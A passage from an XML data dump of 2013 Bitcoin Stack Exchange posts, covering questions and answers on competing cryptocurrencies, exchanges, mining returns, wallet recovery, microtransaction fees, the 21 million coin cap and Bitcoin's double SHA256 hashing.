bitcoind" Tags="|bitcoind|confirmations|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8411" PostTypeId="1" AcceptedAnswerId="8413" CreationDate="2013-03-15T14:10:44.940" Score="3" ViewCount="1585" Body="&lt;p&gt;Bitcoin is becoming more recognizable and trusted. But as it's popularity increases, the supply isn't going to change significantly because the supply is fixed to the internal mining algorithm. This is good because it removes the inflationary effect on the currency. Or does it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couldn't I just start a new &quot;bitcoin&quot; on a new network, and call it &quot;bitcoins&quot;, and therefore double the amount of bitcoins in existence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That example seems trite, but it gets to a worry I have, that the limited total number of possible bitcoins may be rendered worthless because it is open source and you can just create a secondary bitcoin network to create more bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an actual hazard to the value and future growth of the currency? Why, or why not?&lt;/p&gt;&#xA;" OwnerUserId="1625" LastActivityDate="2016-02-19T00:56:37.550" Title="Will bitcoins be devalued by competing digital currencies?" Tags="|economic-theory|alternatives|currencies|bitcoin-economy|" AnswerCount="3" CommentCount="0" ClosedDate="2013-03-19T21:01:48.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="8412" PostTypeId="2" ParentId="8411" CreationDate="2013-03-15T15:09:49.587" Score="0" Body="&lt;p&gt;You could read what Rothbard has to say about free money in a free market. I personnally think everbybody should be allowed to make money. If the market accepts it, it is real money. The more diverse the monetary ecosystem, the more stable it probably is also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mises.org/Books/mysteryofbanking.pdf&quot; rel=&quot;nofollow&quot;&gt;http://mises.org/Books/mysteryofbanking.pdf&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3361" LastActivityDate="2013-03-15T15:09:49.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8413" PostTypeId="2" ParentId="8411" CreationDate="2013-03-15T15:17:28.877" Score="4" Body="&lt;p&gt;You could easily create a bitcoin2, bitcoin3, ... you could create an infinite number of bitcoin currencies having different parametric spaces. These would live in separate mathematical spaces however, so you wouldn't for example be able to create bitcoins in bitcoin2 that affect bitcoins in the original bitcoin: it would be a completely separate system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But we don't need to be so theoretical about this; there are many alternative digital currencies already in existence:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Digital_currencies&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Category:Digital_currencies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also add other forms of popular credit such as paypal credit, and the new Amazon coin that is coming out to that list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These can co-exist and there is no problem in this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think as a challenger of bitcoin however, it would be difficult, as bitcoin is the most established and most popular digital currency so far. People tend to invest in what is already the most popular, so you get a compounding effect due to this. But this isn't to say that something like something like Amazon coin couldn't eclipse bitcoin for popular use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these currencies also vary in anonymity and liquidity, which will also affect how popular they become.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think in summary I have to say that nobody can predict the future for this kind of thing, so we'll just have to wait and see.&lt;/p&gt;&#xA;" OwnerUserId="3362" LastEditorUserId="196" LastEditDate="2013-03-15T17:54:51.140" LastActivityDate="2013-03-15T17:54:51.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8414" PostTypeId="2" ParentId="7993" CreationDate="2013-03-15T15:34:18.957" Score="1" Body="&lt;p&gt;Currently bitcoind is designed to only run one wallet at a time.  You would have to run multiple daemons on different ports and connect to each separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, it looks like multiple wallet support is being &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2124&quot; rel=&quot;nofollow&quot;&gt;actively developed&lt;/a&gt; and will be available possibly in 0.9, based on this &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2220#issuecomment-14005170&quot; rel=&quot;nofollow&quot;&gt;pull request&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2741" LastActivityDate="2013-03-15T15:34:18.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8416" PostTypeId="1" CreationDate="2013-03-15T17:24:42.047" Score="-1" ViewCount="11299" Body="&lt;p&gt;If I want to buy through an exchange I should better go to the one who has highest volume. The better the volume the more liquidity it has. What if I buy bitcoins using India's or China's currency and later want to get exchange to USD dollars. How do I calculate the fees and what is the advantage using one real currency vs another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to this. First day just trying to get some information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="3366" LastActivityDate="2013-03-16T03:27:29.690" Title="What Currency should I use to buy bitcoins? EUR, USD or other?" Tags="|transactions|exchanges|" AnswerCount="1" CommentCount="0" ClosedDate="2013-03-19T21:07:55.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="8417" PostTypeId="1" CreationDate="2013-03-15T17:49:47.153" Score="-1" ViewCount="403" Body="&lt;p&gt;So i get that people buy bigger rigs for faster production, but say I put some old junker on as a miner.  it ever get coins or do the &quot;real&quot; miners get all the coins? &lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2013-03-16T02:41:31.457" Title="Noob question: will a slow rig get coins ever?" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ClosedDate="2013-03-18T17:07:36.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="8418" PostTypeId="2" ParentId="8411" CreationDate="2013-03-15T18:10:25.870" Score="-1" Body="&lt;p&gt;Just a couple of days ago I made a blog post, and about half of it was dealing with this question: &lt;a href=&quot;http://www.economicsofbitcoin.com/2013/03/the-classification-future-of-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;http://www.economicsofbitcoin.com/2013/03/the-classification-future-of-bitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: basically, since a new network is not compatible (just see the recent block size hardfork debate) it is a question of network effect. If the network effect is strong, competitors will have it more difficult to take away market share from bitcoin, and have to present a compelling reason to switch. Economists tend towards the position that money has a strong network effect. In a cryptocurrency world, a competitor would have to spend a lot of money on the infrastructure, such as software libraries, documentation, PR, merchant integration, and provide liquidity on the exchanges. Probably also on lawyers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An analogy that I often use are languages or the IP (protocol). It also is easy to create a new incompatible standard for these, just the idea that one day you wake up suddenly everyone uses something else is implausible. IPv6 has existed for 20 years now, and still hasn't replaced IPv4, because there is so much infrastructure that's not compatible and people don't want to spend money on replacing them. That's not to say that a switch cannot occur, just that it takes time and resources. I expect that eventually, IPv6 (or its successor) will replace IPv4. The IPv6 share of network traffic has been rising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, Bitcoin may also be replaced by some other alternative that people find better. So far, that doesn't seem to be happening. The only alternative that seems to have a shot at all so far seems to be Ethereum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a reference, look at &lt;a href=&quot;https://coinmarketcap.com&quot; rel=&quot;nofollow&quot;&gt;https://coinmarketcap.com&lt;/a&gt;, where hundreds of competitors to Bitcoin fail to gain non-negigible market share.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2016-02-19T00:56:37.550" LastActivityDate="2016-02-19T00:56:37.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8421" PostTypeId="2" ParentId="8417" CreationDate="2013-03-15T23:48:20.953" Score="0" Body="&lt;p&gt;If you join a mining pool, like Slush or Deepbit, you will still get a tiny revenue. On a regular computer (with none of that GPU/FPGA/ASIC stuff), you get 0.7-1.5 MHashes per second. You'd get about 0.000007 BTC (just an estimate) every few hours. &lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="2306" LastEditDate="2013-03-16T02:41:31.457" LastActivityDate="2013-03-16T02:41:31.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8422" PostTypeId="2" ParentId="8416" CreationDate="2013-03-16T03:27:29.690" Score="1" Body="&lt;p&gt;Your best option is to purchase in your own domestic currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other exchanges may have a variation in the spread and liquidity but if you were to try and convert to a different currency to take advantage of this the regular banking system would make whatever profit was originally available from fees and conversion rates (most likely). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a chance you own a multi-currency bank account, USD has the best liquidity between all the exchanges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have bitcoin, trading between sites and currency is known as arbitrage (and cross currency arbitrage) this can be automated or done manually, if you can work out the fees involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember trading between any currency can be risky and swings may happen between fiat pairs that can disrupt your trading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't risk more than you can afford to loose if this is the route you  decide to take.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-03-16T03:27:29.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8423" PostTypeId="1" CreationDate="2013-03-16T05:00:30.930" Score="6" ViewCount="2658" Body="&lt;p&gt;I can't run Bitcoin-Qt 0.80 on Mac OS X 10.8 any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It starts up then says &quot;System Error: Database Corrupted&quot;. I then click OK, and the program &quot;quits unexpectedly&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I  start again without losing my wallet. Is it just the wallet.dat file that I need to keep, or others as well if I reinstall? I have encrypted the wallet if that makes any difference  to the files I need to keep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of BC in the wallet. I can't afford to lose them!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another program I can use just to open the wallet? &lt;/p&gt;&#xA;" OwnerUserId="3372" LastEditorUserId="3364" LastEditDate="2013-04-15T09:05:28.553" LastActivityDate="2013-04-15T11:48:15.773" Title="Mac 0.80b beta - says &quot;database corrupted&quot; and then Bitcoin-Qt quit unexpectedly" Tags="|bitcoin-core|mac|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8424" PostTypeId="1" AcceptedAnswerId="8465" CreationDate="2013-03-16T05:18:18.243" Score="-1" ViewCount="736" Body="&lt;p&gt;MtGox supports many different currency formats. I'd like to know if each currency/BTC trade is independent of any other and the valuation isn't always perfectly aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone wants Yen for BTC, but many other people want Dollars for BTC there is a supply / demand problem.  One way to fix this is to automatically convert dollars for yen and absorb a currency conversion fee.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Does MT Gox internally automatically equalize these market forces?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does a Bot perform these actions (at a rate of .60% per trade)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the computations used to ensure the bot is profitable?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T21:16:33.793" LastActivityDate="2016-01-20T21:16:33.793" Title="Are each of the currency trades at MtGox independent from the other? Who or what is the equalizing force that aligns the markets?" Tags="|exchanges|mtgox|arbitrage|exchange-fees|bots|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8425" PostTypeId="2" ParentId="8423" CreationDate="2013-03-16T05:29:40.613" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/joric/pywallet&quot; rel=&quot;nofollow&quot;&gt;Joric's fork of pywallet&lt;/a&gt; can read a wallet.dat, decrypt it with your pass phrase and then you can export the keys.  But if it is corrupted and Bitcoin-Qt can't read it then pywallet may fare no better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't hurt to give it a try.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-16T05:29:40.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8426" PostTypeId="2" ParentId="8424" CreationDate="2013-03-16T06:41:53.297" Score="2" Body="&lt;p&gt;The force keeping the exchange rates of various currencies in balance is the same force keeping the exchange rates the same across multiple exchanges: Arbitrage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the value of Bitcoin is different enough that one could buy cheaply for one currency then sell for a profit in another, or in the same currency across multiple exchanges, people will do just that. This kind of transaction is referred to as arbitrage. The important part is that if there are enough arbitreurs their actions will eventually move the markets they are playing in, forcing them to meet in the middle and thus agreeing upon a price.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-03-16T06:41:53.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8427" PostTypeId="1" CreationDate="2013-03-16T10:02:30.837" Score="2" ViewCount="255" Body="&lt;p&gt;I am using bitcoinJ to develop a bitcoin based payment module for my project. I have the complete block chain downloaded/in sync with the network on the bitcoin-qt client.&#xA;Is there a way I can use this bitcoin-qt blockchain database in my bitcoinJ application rather than waiting downloadBlockChain() method which is taking a huge amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : Any pointers on how long will it take downloadBlockChain() to complete the download?&lt;/p&gt;&#xA;" OwnerUserId="2940" LastActivityDate="2013-03-16T15:36:31.740" Title="Bitcoin-qt database for BitcoinJ downloadBlockChain()" Tags="|blockchain|bitcoin-core|bitcoinj|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8429" PostTypeId="2" ParentId="8402" CreationDate="2013-03-16T15:46:36.993" Score="1" Body="&lt;p&gt;The short answer is: yes, but it would not be profitable in the long-term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Finney Attack is not easy to pull off, because guessing when the rogue miner's block will be generated is imprecise and inaccurate. Guessing gets easier with the more hashing power the rogue miner puts on the network, but you probably won't see real profit unless you get a pool to participate in your attack.&lt;/p&gt;&#xA;" OwnerUserId="2131" LastActivityDate="2013-03-16T15:46:36.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8430" PostTypeId="1" CreationDate="2013-03-16T17:28:04.097" Score="4" ViewCount="573" Body="&lt;p&gt;I have read &lt;a href=&quot;https://blockchain.info/wallet/escrow&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; about the possibility of Multi-signature transactions. Is there a statistic available how much of these are done?&lt;/p&gt;&#xA;" OwnerUserId="1853" LastActivityDate="2014-08-08T20:07:51.543" Title="How much escrow/ Multi-signature transactions are done?" Tags="|multi-signature|escrow|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8431" PostTypeId="1" CreationDate="2013-03-16T18:07:51.653" Score="2" ViewCount="347" Body="&lt;p&gt;What are the limits of the bitcoin protocol for microtransactions, and what are the alternatives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am contemplating an application that would require each user to spend fractions of bitcoins multiple times every second. I understand that there are limitations in the protocol to prevent such a thing from happening. How can I proceed thousands of microtransaction using bitcoins without having a central server?&lt;/p&gt;&#xA;" OwnerUserId="17" LastEditorUserId="2306" LastEditDate="2013-03-16T18:15:38.590" LastActivityDate="2013-03-17T08:53:23.707" Title="What are the limits of the bitcoin protocol for making thousands of transactions, and what are the alternatives?" Tags="|transactions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8433" PostTypeId="2" ParentId="8431" CreationDate="2013-03-16T19:24:26.007" Score="2" Body="&lt;p&gt;There are systemic limits based on storage per block.  So the limit isn't the number of transactions, the limit is instead the amount of data all transactions for inclusion in a block consume all together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The definition of a &quot;microtransaction&quot; varies.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin might be used to send a transaction without a fee if it is not a microtransaction.  The Bitcoin-Qt/bitcoind client (and thus nearly all mining capacity) has special rules that if any outputs are under 0.01 BTC (currently about $5 USD), then it must include at least the minimum fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The minimum fee, when required, is 0.0005 BTC per KB of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all likelihood then, all of your transactions would need to pay a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, simply paying a fee is no guarantee that a transaction will be included.   The blocks have a limit of 500KB but as storage climbs above 250KB the fees needed for each additional KB increase.  As space for blocks begin filling, those transactions with the higher fee will bump out those with a lower fee, which will need to wait to be included in a later block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question is not what the limits of the protocol, but what level of a fee in the future will be necessary for a transaction. That's something that is not known today, but most all will agree Bitcoin probably won't work well for transactions worth a fraction of a dollar especially if the value of the fee itself is in the &quot;many cents&quot; per transaction range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatives&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decentralized crypto currencies are decentralized to make them resistant to corruption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a decentralized currency can be used as the form of money on a centralized service.  Most online gambling sites using bitcoins deal in bitcoin denominated microtransactions, and only use the bitcoin network whan a customer adds funds or when a user withdraws their funds.  So that is an example of how Bitcoins can still be used for a service that deals in microtransactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other methods:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki&quot; rel=&quot;nofollow&quot;&gt;Open Transactions&lt;/a&gt; is a technology that allows an issuer to receive bitcoins and issue bitcoin vouchers. Those vouchers can them be transacted on one or more Open Transactions servers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ripple.com&quot; rel=&quot;nofollow&quot;&gt;Ripple&lt;/a&gt; is a distributed transaction system which might be able to handle your problem.  Bitcoins are one of the types of funds that can be transacted.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-16T19:24:26.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8434" PostTypeId="2" ParentId="8430" CreationDate="2013-03-16T19:35:31.973" Score="3" Body="&lt;p&gt;Blockchain doesn't currently offer that and the only way to construct a transaction like that is to build it manually.  So as a result both the sender and each recipient must have l33t skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This capability will come, it is just that since that was introduced, scalability had to take priority over new features for most Bitcoin development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They happen but rarely.  Here's an example of Bitcoin address used recently (March 5, 2013) in an escrow transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;,- &lt;a href=&quot;http://blockchain.info/address/13MH4zmU4UT4Ct6BhoRFGjigC8gN9a9FNn&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/13MH4zmU4UT4Ct6BhoRFGjigC8gN9a9FNn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-16T19:35:31.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8435" PostTypeId="2" ParentId="8285" CreationDate="2013-03-17T03:00:07.500" Score="4" Body="&lt;p&gt;The economic majority includes both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components of the economic majority include those who hold bitcoins (who might be referred to as &quot;old money&quot;) as well as those wishing to acquire bitcoins (who might be referred to as &quot;new money&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many who are &quot;old money&quot; will have lent out bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loan agreements will likely have the stipulation that if the rate of currency issuance varies, the repayments would need to be adjusted somehow -- affecting the principal and/or interest to be repaid.  If there were to be a fork in the protocol where repayment was attempted with devalued coins, the lender could insist on repayment of coins that follow the protocol that was in force at the time when the loan was agreed to. (Essentially, coins that have no significant level of &quot;taint&quot; that exists after the fork).  If the lender won't accept the devalued coins then the coins generated under the changed protocol are of no value to the borrowers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So those who lend out their coins are essentially &quot;buyers&quot; of coins at future points in time (when the repayments occur) and thus are represented in the economic majority just as much as those considered &quot;new money&quot; who wlll buy from the next block of coins.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2014-04-19T17:17:23.613" LastActivityDate="2014-04-19T17:17:23.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8437" PostTypeId="2" ParentId="8431" CreationDate="2013-03-17T08:53:23.707" Score="0" Body="&lt;p&gt;The Bitcoin protocol has some built-in support for this, but I do not know whether it is currently being implemented. See &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Contracts&lt;/a&gt; Example 7 at the bottom. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, see &lt;a href=&quot;http://www.youtube.com/watch?v=mD4L7xDNCmA&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=mD4L7xDNCmA&lt;/a&gt; for explanations of some of the advanced features.&lt;/p&gt;&#xA;" OwnerUserId="2798" LastActivityDate="2013-03-17T08:53:23.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8438" PostTypeId="2" ParentId="3165" CreationDate="2013-03-17T12:10:13.563" Score="13" Body="&lt;p&gt;There is a nice wiki page here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The raspberry pi is listed by its processor in the arm section: ARM1176JZ(F)-S. It gets 0.2 Mhash/s when clocked at 800 MHz.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="2306" LastEditDate="2013-03-17T15:04:01.753" LastActivityDate="2013-03-17T15:04:01.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8439" PostTypeId="1" AcceptedAnswerId="8442" CreationDate="2013-03-17T15:44:08.340" Score="100" ViewCount="109011" Body="&lt;p&gt;Why did Satoshi pick 21 million as the number of bitcoins to be created? What is the significance of that number?&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="2306" LastEditDate="2013-04-19T22:06:19.497" LastActivityDate="2023-06-16T09:30:43.533" Title="Why was 21 million picked as the number of bitcoins to be created?" Tags="|economic-theory|finance|" AnswerCount="11" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8440" PostTypeId="2" ParentId="4105" CreationDate="2013-03-17T16:11:31.210" Score="2" Body="&lt;p&gt;I would definitely recommend &lt;a href=&quot;https://vircurex.com/welcome/index?referral_id=375-6862&quot; rel=&quot;nofollow&quot;&gt;Vircurex&lt;/a&gt;. They support many different currencies, and real easy to set up.&lt;/p&gt;&#xA;" OwnerUserId="3390" LastActivityDate="2013-03-17T16:11:31.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8441" PostTypeId="2" ParentId="8439" CreationDate="2013-03-17T16:18:00.277" Score="5" Body="&lt;p&gt;It is the result of a 50 bitcoin reward half life of 210,000 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reward starts out at 50 bitcoins and halves ever 210,000 blocks. This works out to be 2.1 quadrillion monetary units of currency (satoshi). This is probably the largest number estimated to be needed for a global currency and some padding for attrition.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2013-03-17T16:18:00.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8442" PostTypeId="2" ParentId="8439" CreationDate="2013-03-17T16:32:20.030" Score="74" Body="&lt;p&gt;Here's a mathematical explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calculate the number of blocks per 4 year cycle:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6 blocks per hour&#xA;* 24 hours per day&#xA;* 365 days per year&#xA;* 4 years per cycle&#xA;= 210,240&#xA;~= 210,000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sum all the block reward sizes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;50 + 25 + 12.5 + 6.25 + 3.125 + ... = 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Multiply the two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;210,000 * 100 = 21 million.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Economically, because the currency is effectively infinitely divisible, then the precise amount doesn't matter, as long as the limit remains fixed. &lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="516" LastEditDate="2013-03-17T17:56:55.607" LastActivityDate="2013-03-17T17:56:55.607" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8443" PostTypeId="1" CreationDate="2013-03-17T16:42:28.380" Score="19" ViewCount="14226" Body="&lt;p&gt;where in the Bitcoin Protocol is SHA256(SHA256(x)) performed and why?&lt;/p&gt;&#xA;" OwnerUserId="3125" LastEditorUserId="5406" LastEditDate="2018-07-27T21:10:49.247" LastActivityDate="2022-03-04T08:51:46.633" Title="Where is Double hashing performed in Bitcoin?" Tags="|protocol|hash|sha256|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8444" PostTypeId="2" ParentId="8439" CreationDate="2013-03-17T17:28:06.927" Score="22" Body="&lt;p&gt;I don't know if this was thought up ahead of time, but it sure makes sense in hindsight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason 21 million is the right number is because people don't know how to value currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, right now a Euro is worth $1.30 USD and a Japanese yen is worth about a U.S. penny.   Ask someone which currency they would rather hold right now and most will answer Euro, because $1.30 is worth more than $0.01.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, that relative unit value means nothing.  Ask most currency traders which currency is better to hold and most (today) would probably say Japanese yen, because what matters is whether the value will go up or down, relative to the other being compared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When bitcoin hit parity with the U.S. dollar in Feb 2011, it gained a sense of legitimacy that helped propel it on a tremendous pace, rising over 30X that level just four months later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there had been more than 6 million coins issued by then, the total dollar value of all bitoins would probably have been about the same, and thus the exchange rate would then have been lower.   So let's say there were instead 60 million coins issued by Feb 2011, and each one worth a dime.  That 60M X $0.10 is the exact same total dollar valuation the 6M X $1 has ($6M) for all bitcoins combined.  Tthe difference is that because it had become &quot;worth more than a dollar&quot;, and as a result people attributed greater interest and respect for it.  Had it not been &quot;worth more than a dollar&quot; so early, it might have taken a whole lot longer to get the name recognition and attention it did that has helped attract the participants that Bitcoin has today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin today stands on &quot;dollar parity&quot;'s shoulders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That may sound bizarre but ask that Euro / Yen question to different people yourself and then ask the reason why their answer was given.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the number needed to be a low enough number so that while total dollar valuation of all bitcoins was still in the single-digit millions it would reach parity with the U.S. dollar at some point.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2014-07-26T22:23:34.783" LastActivityDate="2014-07-26T22:23:34.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8445" PostTypeId="2" ParentId="8443" CreationDate="2013-03-17T18:24:03.107" Score="1" Body="&lt;p&gt;Here's the main hashing function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T1&amp;gt;&#xA;inline uint256 Hash(const T1 pbegin, const T1 pend)&#xA;{&#xA;    static unsigned char pblank[1];&#xA;    uint256 hash1;&#xA;    SHA256((pbegin == pend ? pblank : (unsigned char*)&amp;amp;pbegin[0]), (pend - pbegin) * sizeof(pbegin[0]), (unsigned char*)&amp;amp;hash1);&#xA;    uint256 hash2;&#xA;    SHA256((unsigned char*)&amp;amp;hash1, sizeof(hash1), (unsigned char*)&amp;amp;hash2);&#xA;    return hash2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd say anyplace that calls that uses SHA256 twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4317/why-does-bitcoin-use-two-rounds-of-sha256?rq=1&quot;&gt;see this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-03-17T18:24:03.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
